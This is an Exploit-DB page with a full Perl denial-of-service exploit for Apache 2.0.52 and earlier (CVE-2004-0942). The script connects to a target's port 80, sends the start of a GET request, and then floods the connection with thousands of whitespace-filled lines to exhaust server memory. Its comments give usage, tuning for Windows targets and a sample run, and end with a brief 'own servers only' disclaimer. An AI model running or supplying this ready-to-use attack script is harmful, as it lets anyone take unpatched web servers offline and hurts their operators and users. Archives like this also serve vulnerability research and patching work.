ad

Apache <= 2.0.52 HTTP GET request Denial of Service Exploit



EDB-ID: 855 CVE: 2004-0942 OSVDB-ID: 11391
Author: GreenwooD Published: 2005-03-04 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

Rating

(0.0)
Prev Home Next
#!/usr/bin/perl

# Based on -> 
#             apache-squ1rt.c exploit.
#
#             Original credit goes to Chintan Trivedi on the
#             FullDisclosure mailing list:
#             http://seclists.org/lists/fulldisclosure/2004/Nov/0022.html
#
# More info ->
#   
#             http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942
# Added ->
#             Added future with we can exploit Apache web servers on windows system. For it you should experiment
#             with [trys] parameter of this code.
#             
#             By default parameter trys = 8000, for DoS Apache web servers on windows system try to 
#             increase this parameter.
#
#             For example. In my system I have 256Mb of RAM. For DoS Apache web severs I run this exploit like this
#
#             C:\perl ap2.0.52_dos.pl 127.0.0.1 30000
#
#              <+> Prepare to start connect.
#              <+> Connected to 127.0.0.1
#              <+> Send of first part of devil header.
#              <+> Prepare to DoS with 10000 trys.
#              <+> Start DoS second part of devil header.
#              <SOD> |====================> <EOD>
#              <+> Ok now target web server maybe DoSeD.
#
#
# Note ->    
#           
#             If progresbar not response server mybe already DoSeD. Try to open web page hosted on this web servers.
#             And if you see "Eror 500" you are lucky man :)
#
# Warnings -> 
#             This is POC code you can use only on you own servers. Writer don't response if you damadge you servers or
#             use it for attack, or others things.  
#
# Shit -> 
#             My English now is bulls shit :( I try study it :)
#            

# Tested under Window 2000 SP4 with Apache 2.0.49 (Win)

# Grests fly to Chintan Trivedi NsT, RST, Void, Unlock and other underground world.

# Contact to me at greenwood3[AT]yandex[dot]ru

use IO::Socket;

if (@ARGV <1)
  {
   print "\n ::: ---------------------------------------------- :::\n";
   print " ::: Another yet DoS exploit for Apache <= 2.0.52   :::\n";
   print " ::: Usage:  ap2.0.52_dos.pl <ip> [trys]            :::\n";
   print " ::: Coded by GreenwooD from Network Security Team  :::\n";
   print " ::: ---------------------------------------------- :::\n";
   exit();
  }

print "\n <+> Prepare to start connect.\n";

$s = IO::Socket::INET->new(Proto=>"tcp",
                            PeerAddr=>$ARGV[0],
                            PeerPort=>80,
                            Timeout=>6
                            ) or die " <-> Target web server already DoSeD ??? or can't connect :(\n";
  $s->autoflush();

print " <+> Connected to $ARGV[0]\n";
print " <+> Send of first part of devil header.\n";    
  
  print $s "GET / HTTP/1.0\n";

$trys = 8000; # Default

if ($ARGV[1])
{
  $trys = $ARGV[1];
}

print " <+> Prepare to DoS with $trys trys.\n";
print " <+> Start DoS send second part of devil header.\n";    
print " <SOD> |";

$i=0;

 do {

     print $s (" " x 8000 . "\n"); 

   
      if ($i % 500 == 0)
        { 
         print "=";
        }  

     ++$i;

    } until ($i == $trys); 


print "> <EOD>\n";

close($s);

print " <+> Ok now target web server maybe DoSeD.\n"; 

# milw0rm.com [2005-03-04]